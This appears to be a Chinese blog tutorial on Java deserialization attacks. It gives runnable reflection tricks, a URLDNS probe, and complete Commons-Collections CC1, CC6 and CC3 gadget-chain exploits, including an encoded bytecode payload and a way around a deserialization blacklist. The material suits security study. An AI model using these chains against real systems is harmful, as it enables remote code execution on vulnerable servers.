JAVA反序列化已经成了Java学习过程中不可避开的一部分了。

反射

getMethod

public void execute(String className, String methodName) throws Exception {
     Class clazz = Class.forName(className);
     clazz.getMethod(methodName).invoke(clazz.newInstance());
}

假设现在有这样一个demo代码。我们应该怎么利用达到想要的效果呢?

可以知道的是 forname 获取的是类方法 用invoke执行方法,用newInstance实例化类对象 用getMethod获取函数

需要知道的是forname获取类方法并不是唯一的

  • obj.getClass() 如果上下⽂中存在某个类的实例 obj ,那么我们可以直接通过 obj.getClass() 来获取它的类
  • Test.class 如果你已经加载了某个类,只是想获取到它的 java.lang.Class 对象,那么就直接 拿它的 class 属性即可。这个⽅法其实不属于反射。
  • Class.forName 如果你知道某个类的名字,想获取到这个类,就可以使⽤ forName 来获取

在安全研究中,我们使⽤反射的⼀⼤⽬的,就是绕过某些沙盒。⽐如,上下⽂中如果只有Integer类型的 数字,我们如何获取到可以执⾏命令的Runtime类呢?也许可以这样

1.getClass().forName("java.lang.Runtime")

我们来写个demo试试这个反射吧

public class test {
    public static void main(String[] args) throws Exception {
        test test = new test();
        test.execute("java.lang.Runtime","exec");

    }
    public void execute(String className, String methodName) throws Exception {
        Class clazz = Class.forName(className);
        clazz.getMethod(methodName,String.class).invoke(clazz.newInstance(),"open /System/Applications/Calculator.app");
    }
}

这里我们利用forname获取Runtime类,之后获取下面的exec方法执行我们的计算器。其实运行后可以发现,这里执行失败了

JAVA反序列化

为什么呢?

通过报错我们知道 runtime这个方法是private的 私有化的构造方法怎么获取呢?我们可以通过 Runtime.getRuntime() 来获取到 Runtime 对象

知道了原理,来修改一下payload

public class test {
    public static void main(String[] args) throws Exception {
        test test = new test();
        test.execute("java.lang.Runtime","exec");

    }
    public void execute(String className, String methodName) throws Exception {
        Class clazz = Class.forName(className);
        clazz.getMethod(methodName,String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"open /System/Applications/Calculator.app");
    }
}

JAVA反序列化

成功弹出了计算器

当然这里还有一些其他问题,比如

clazz.getMethod(methodName)  --- > clazz.getMethod(methodName,String.class)

这里为什么需要添加String.class

其实这里根据的是调用方法的类型声明的

JAVA反序列化

我们可以看到这里exec中6个重载

其中最简单的接受的是String类型的参数,所以这里需要输入一个String.class

第二个问题

clazz.getMethod(methodName,String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"open /System/Applications/Calculator.app");

为什么要在invoke里面套命令,其他地方凭啥不行呢?

我们正常执行方法是 [1].method([2], [3], [4]...) ,其实在反射里就是 method.invoke([1], [2], [3], [4]...)

所以我们将上述命令执行的Payload分解一下就是:

Class clazz = Class.forName("java.lang.Runtime");
Method execMethod = clazz.getMethod("exec", String.class);
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(clazz);
execMethod.invoke(runtime, "calc.exe");
  • 如果一个类没有无参构造方法,也没有类似单例模式里的静态方法,我们怎样通过反射实例化该类呢?
  • 如果一个方法或构造方法是私有方法,我们是否能执行它呢?

getConstructor

我们需要用到一个新的反射方法 getConstructor 。 和 getMethod 类似, getConstructor 接收的参数是构造函数列表类型,因为构造函数也支持重载, 所以必须用参数列表类型才能唯一确定一个构造函数。

比如,我们常用的另一种执行命令的方式ProcessBuilder,我们使用反射来获取其构造函数,然后调用 start() 来执行命令:

        Class clazz = Class.forName("java.lang.ProcessBuilder");
        ((ProcessBuilder)clazz.getConstructor(List.class).newInstance(Arrays.asList("/System/Applications/Calculator.app/Contents/MacOS/Calculator"))).start();

ProcessBuilder有两个构造函数:

  • public ProcessBuilder(List command)
  • public ProcessBuilder(String... command)

我上面用到了第一个形式的构造函数,所以我在 getConstructor 的时候传入的是 List.class

但是,我们看到,前面这个Payload用到了Java里的强制类型转换,有时候我们利用漏洞的时候(在表达式上下文中)是没有这种语法的。所以,我们仍需利用反射来完成这一步。其实用的就是前面讲过的知识:

Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(
Arrays.asList("/System/Applications/Calculator.app/Contents/MacOS/Calculator")));

通过 getMethod("start") 获取到start方法,然后 invoke 执行, invoke 的第一个参数就是 ProcessBuilder Object了。

getDeclared

与普通的 getMethodgetConstructor 区别是

  • getMethod系列方法获取的是当前类中的所有公共方法,包括从父类继承的方法。
  • getDeclaredMethod 系列方法获取的是当前类中“声明”的方法,是实在写在这个类里的,包括私 有的方法,但从父类里继承来的就不包含了

getDeclaredMethod 的具体用法和 getMethod 类似, getDeclaredConstructor 的具体用法和 getConstructor 类似

举个例子,前文我们说过Runtime这个类的构造函数是私有的,我们需要用 Runtime.getRuntime() 来 获取对象。其实现在我们也可以直接用 getDeclaredConstructor 来获取这个私有的构造方法来实例 化对象,进而执行命令:

Class clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(m.newInstance(), "/System/Applications/Calculator.app/Contents/MacOS/Calculator");

可见,这里使用了一个方法 setAccessible ,这个是必须的。我们在获取到一个私有方法后,必须用 setAccessible 修改它的作用域,否则仍然不能调用。

URLDNS

我们可以根据ysoserial来分析一下这个链子如何使用

ysoserial中,每条链子都注明了Gadget的路线,可以更好的理解其利用过程

JAVA反序列化

我们知道这里是最终通过URL.hashCode()触发的请求,我们写个demo看看其是怎么处理的

import java.net.MalformedURLException;
import java.net.URL;


public class test {
    public static void main(String[] args) throws MalformedURLException {
        String url = "http://i1fyw5.dnslog.cn";
        URL URL = new URL(url);
        URL.hashCode();
    }
}

通过运行代码,可以发现成功触发了请求

JAVA反序列化

具体看看发生了什么吧

跟进hashCode()函数可以明显发现此处调用了

JAVA反序列化

getHostAddress方法获取host的地址

JAVA反序列化

从而触发了DNS请求。

知道了后半段,让我们来看看ysoerial是怎么通过Hashmap调用到URL.hashCode的

通过hashmap的readobject调用 putVal

JAVA反序列化

从而调用hash方法

JAVA反序列化

而hash方法会调用传入key的hashCode方法

这里的key是new URL("xxxx")

JAVA反序列化

后面的就是常规的URLDNS触发了。从而完成了http请求的触发

我们也可以不借助ysoserial来写一个URLDNS

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {

    public static void main(String[] args) throws Exception {
        HashMap hashmap = new HashMap();
        URL url = new URL("http://79cu3s.dnslog.cn");
        Field filed = Class.forName("java.net.URL").getDeclaredField("hashCode");
        filed.setAccessible(true);
        filed.set(url, 209);
        hashmap.put(url, 209);
        filed.set(url, -1);

        try {
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(hashmap);
            oos.close();
            System.out.println(barr);
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
            Object o = (Object)ois.readObject();
            
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

可以注意到这里通过反射获取URL的hashCode方法,使用hashmap put方法传值 从而完成序列化及反序列化过程

Commoncollections1

  • Commons-Collections版本:3.1

需要注意的是 CC1 由于sun.reflect.annotation.AnnotationInvocationHandler在8u71以上被重写了 导致该链只在JDK8u71以下生效

JAVA反序列化

我们按照Ysoserial的Gadget来分析一下成因

先来学习一下这里用到的几种方法

前置知识

Transformer

需要注意到的是这里用了很多的Transformer,那什么是Transformer呢?

可以查一下org.apache.commons.collections.Transformer

JAVA反序列化

通过ida识别到的各种接口 可以发现其提供了个transform()方法,用来定义具体的转换逻辑,方法接收Object类型的input,处理后将Object返回,在Commons-Collection中,程序提供了多个Transformer的实现类,用来实现不同的TransformedMap类中key、value进行修改的功能。

TransformedMap

而什么是TransformedMap

JAVA反序列化

TransformedMap类可以在一个元素被加入到集合内时自动对该元素进行特定的修饰变换,在decorate()方法中,第一个参数为修饰的Map类,第二个参数和第三个参数作为一个实现Transformer接口的类,用来转换修饰的Map的键、值(为null时不进行转换);因此,当被修饰的map添加新元素的时候便会触发这两个类的transform方法。

LazyMap

JAVA反序列化

org.apache.commons.collections.map.LazyMapTransformedMap类似,区别在于当LazyMap调用get()方法时如果传入的key不存在,则会触发相应参数的Transformertransform()方法。
补充一下:与LazyMap具有相同功能的还有org.apache.commons.collections.map.DefaultedMap,同样也是get()方法会触发transform()方法。当然这里因为cc依赖的问题 以后再说

ConstantTransformer

JAVA反序列化

org.apache.commons.collections.functors.ConstantTransformer是一个返回固定常量的Transformer,在初始化时储存了一个Object,后续的调用时会直接返回这个Object,这个类用于和ChainedTransformer配合,将其结果传入InvokerTransformer来调用我们指定的类的指定方法。所以他的作用其实就是包装任意一个对象,在执行回调时返回这个对象,进而方便后续操作。

InvokerTransformer

JAVA反序列化

阅读InvokerTransformer的源码可知,其实现了Transformer接口的一个类,这个类可以用来执行任意方法,这也是反序 列化能执行任意代码的关键。

在实例化这个InvokerTransformer时,需要传入三个参数,第一个参数是待执行的方法名,第二个参数 是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:

JAVA反序列化

通过回调transform方法,就是执行了input对象的iMethodName方法

JAVA反序列化

ChainedTransformer

JAVA反序列化

阅读源码可知其也是实现了Transformer接口的一个类,它的作用是将内部的多个Transformer串 在一起。通俗来说就是,前一个回调返回的结果,作为后一个回调的参数传入。

之后我们来倒着看看如何一步一步实现这个Gadget的

实现

首先我们先看看最后的部分

ChainedTransformer.transform()
    ConstantTransformer.transform()
    InvokerTransformer.transform()
        Method.invoke()
            Class.getMethod()
    InvokerTransformer.transform()
        Method.invoke()
            Runtime.getRuntime()
    InvokerTransformer.transform()
        Method.invoke()
            Runtime.exec()

我们可以写个关于ChainedTransformer的demo来试试

package cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class ChainedTransformerDemo {

    public static void main(String[] args) throws ClassNotFoundException{
        // Transformer 数组
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"})
        };

        // ChainedTransformer 实例
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform("ChainedTransformerDemo");
    }
}

看看都干了什么? 我们新建了个Transformer数组,使用ConstantTransformer获取到Runtime对象,使用InvokerTransformer反射获取exec对象,最后执行命令

TransformedMap

因为TransformedMapLazyMap都能触发该反序列化,我们先来看看TransformedMap怎么实现的

可以先写个demo

package cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class Transformedmap {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"})
        };
        
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx"); }
}

通过TransformedMap.decorate方法来将ChainedTransformer设置为map装饰器的处理方法,调用TransformedMapput()/setValue()等方法时会触发Transformer链的调用方法。

然后我们分析一下完整的链子

package cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open /System/Applications/Calculator.app"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap =TransformedMap.decorate(innerMap,null, transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(invocationHandler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

利用TransformedMapdecorate方法来将ChainedTransformer设置为map装饰器的处理方法,调用TransformedMapput()/setValue()等方法时会触发Transformer链的调用方法。
寻找一个重写了readObject的类,在反序列化时可以改变map的值,定位到sun.reflect.annotation.AnnotationInvocationHandler类,这个类实现了InvocationHandler接口 (原本是用于JDK对于注解形式的动态代理)。

AnnotationInvocationHandler类的构造方法有两个参数,第一个参数是Annotation实现类的Class对象,第二个参数是一个keyStringvalueObjectMap,需要注意的是,构造方法会对var1进行判断,当且仅当var1只有一个父接口且为Annotation.class时,才会将两个参数初始化在成员属性typememberValues中。

JAVA反序列化

接着看看AnnotationInvocationHandler类重写的readObject方法,首先调用AnnotationType.getInstance(this.type)方法来获取type这个注解类对应的AnnotationType的对象,然后获取其memberTypes属性,这个属性是个Map,存放这个注解中可以配置的值,接着循环this.memberValues这个Map来获取其Key,如果注解类的memberTypes属性中存在与this.memberValueskey相同的属性,并且取得的值不是ExceptionProxy的实例也不是memberValues中值的实例,则取得其值并调用setValue方法写入值。

JAVA反序列化

根据上面的分析过程,构造Payload的思路基本就没啥问题了。

[1] 构造 AnnotationInvocationHandler 实例,传入一个注解类和一个 Map,这个 Map 的 key 中要具有注解类中存在的属性并且值不是对应的实例和 ExceptionProxy 对象
[2] 这个 Map 用 TransformedMap 进行封装,并且调用自定义的 ChainedTransformer 进行装饰
[3] ChainedTransformer 中写入多个 Transformer 实现类来进行链式调用从而达到恶意操作

LazyMap

核心点在LazyMap#getLazyMap在没有key时会尝试调用this.factory.transform方法,而this.factory可以指定为Transformer对象,而且transform方法参数会被忽略掉,因此只需要寻找一个调用了LazyMap.get的方法。

这里AnnotationInvocationHandler类的invoke()方法可以触发this.memberValues来调用get方法,从而触发LazyMap#get

JAVA反序列化

那么如何调用到AnnotationInvocationHandler#invoke 呢?这里用到了java的对象代理

作为一门静态语言,如果想劫持一个对象内部的方法调用,实现类似PHP的魔术方法 __call ,我们需要用到 java.reflect.Proxy :

MapproxyMap=(Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class}, handler);

Proxy.newProxyInstance 的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要 代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑。

sun.reflect.annotation.AnnotationInvocationHandler ,会发现实际上这个类实际就是个InvocationHandler,我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke 方法中,进而触发我们的LazyMap#get

package cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open /System/Applications/Calculator.app"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

调用过程

AnnotationInvocationHandler.readObject()
   *Map(Proxy).entrySet()
        *AnnotationInvocationHandler.invoke()
            LazyMap.get()/TransformedMap.setValue()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                        InvokerTransformer.transform()

利用AnnotationInvocationHandler在反序列化时会触发Mapget/set等操作,配合TransformedMap/LazyMap在执行Map对象的操作时会根据不同情况调用Transformer的转换方法,最后结合了ChainedTransformer的链式调用、InvokerTransformer的反射执行完成了恶意调用链的构成,其中LazyMap的触发还用到了动态代理机制。

Commoncollections6

  • Commons-Collections版本:3.1

为什么要这么写呢?因为Commoncollections1 只能在低版本jdk利用 高版本怎么办呢? 当然是找一个新的链子啦

我们来看看Ysoserial的Gadget

/*
    Gadget chain:
        java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

    by @matthias_kaiser
*/

和CC1相比,这里从LazyMap#get后的调用方法均相同,也可以说,解决Java⾼版本利⽤,实际上就是在找上下⽂中是否还有其他调⽤ LazyMap#get() 的地⽅。

通过其Gadget 我们定位到了org.apache.commons.collections.keyvalue.TiedMapEntry

JAVA反序列化

欲触发LazyMap利⽤链,要找到就是哪⾥调⽤了 TiedMapEntry#hashCode

前置知识

HashSet

HashSet是一个无序的、不允许有重复元素的集合,本质上就是由HashMap实现的,跟HashMap一样,都是一个存放链表的数组,HashSet中的元素都存放在HashMapkey上面,而value中的值都是统一的一个private static final Object PRESENT = new Object();,在HashSetreadObject方法中会调用其内部HashMapput方法,将值放在key上。

JAVA反序列化

实现

ysoserial中,是利⽤ java.util.HashSet#readObject HashMap#put() HashMap#hash(key) 最后到 TiedMapEntry#hashCode()

实际上当阅读 java.util.HashMap#readObject 后中就可以找到 HashMap#hash() 的调⽤,省去了很多步骤

JAVA反序列化

JAVA反序列化

有了这些基础,我们就可以写出一个完整的Gadget了

当然 为了防止测试的过程中弹出多个计算器 简单的调整一下,构造LazyMap的时候先⽤了⼀个⼈畜⽆害的 fakeTransformers 对象,等最后要⽣成Payload的 时候,再把真正的 transformers 替换进去。

JAVA反序列化

测试的时候会发现一个问题,为什么没有弹计算器呢?

通过debug 可以注意到一个问题

JAVA反序列化

这里没有进入if原因是匹配到了key的值

我们看下之前的代码,唯⼀出现 key的地⽅就是在 TiedMapEntry 的构造函数⾥, 但 TiedMapEntry 的构造函数并没有修改outerMap:关键点就出在 expMap.put(tme, "valuevalue"); 这个语句⾥⾯。 HashMap的put⽅法中,也有调⽤到 hash(key)

这⾥就导致 LazyMap 这个利⽤链在这⾥被调⽤了⼀遍,解决⽅法也很简单,只需要将key这个Key,再从outerMap中移除即可: outerMap.remove("key") 。

所以最终的exp

package CC6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class demo {
    public static void main(String[] args) throws Exception{
        Transformer[] fakeTransformers = new Transformer[] {new
                ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open /System/Applications/Calculator.app"})
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry TiedMapEntry = new TiedMapEntry(outerMap,"key");
        Map hashMap = new HashMap();
        hashMap.put(TiedMapEntry,"1");
//        outerMap.remove("key"); //加上才能进入LazyMap#get方法
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);


        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashMap);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();

    }
}

Commoncollections3

前置知识

  • Commons-Collections版本:3.1

这里会单独拎出一篇文章讲一下

实现

CC3 是基于CC1修改的,而CC3实现的是加载任意字节码

了解了之前提过的用TemplatesImpl加载字节码,我们就可以改改poc写出加载任意字节码的demo啦!

package CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception{

        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAOgoACQAhCQAiACMIACQKACUAJgoAJwAoCAApCgAnACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACkxjYzEvZXZhbDsBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAGPGluaXQ+AQADKClWBwAuAQAKU291cmNlRmlsZQEACWV2YWwuamF2YQwAHAAdBwAvDAAwADEBABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAyDAAzADQHADUMADYANwEAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAMADgAOQEACGNjMS9ldmFsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACAAJAAAAAAADAAEACgALAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAMAA4AAAAgAAMAAAABAA8AEAAAAAAAAQARABIAAQAAAAEAEwAUAAIAFQAAAAQAAQAWAAEACgAXAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAPAA4AAAAqAAQAAAABAA8AEAAAAAAAAQARABIAAQAAAAEAGAAZAAIAAAABABoAGwADABUAAAAEAAEAFgABABwAHQACAAwAAABMAAIAAQAAABYqtwABsgACEgO2AAS4AAUSBrYAB1exAAAAAgANAAAAEgAEAAAAEgAEABMADAAUABUAFQAOAAAADAABAAAAFgAPABAAAAAVAAAABAABAB4AAQAfAAAAAgAg");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(obj),
                new InvokerTransformer("newTransformer", null, null)
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);

        InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

而我们去看ysoserial的源码 可以发现

JAVA反序列化

这里的注释明确写出了不依赖InvokerTransformer进行反序列化 而我们一直在使用这个玩意进行各种反序列化

为什么呢?

SerialKiller是⼀个Java反序列化过滤器,可以通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的 类。在其发布的第⼀个版本代码中,我们可以看到其给出了最初的⿊名单:

JAVA反序列化

这个黑名单直接把InvokerTransformer限制的死死的,CommonsCollections3的目的很明显,就是为了绕过一些规则对InvokerTransformer的限制。 CommonsCollections3并没有使用到InvokerTransformer来调用任意方法,而是用到了另一个 类, com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 。

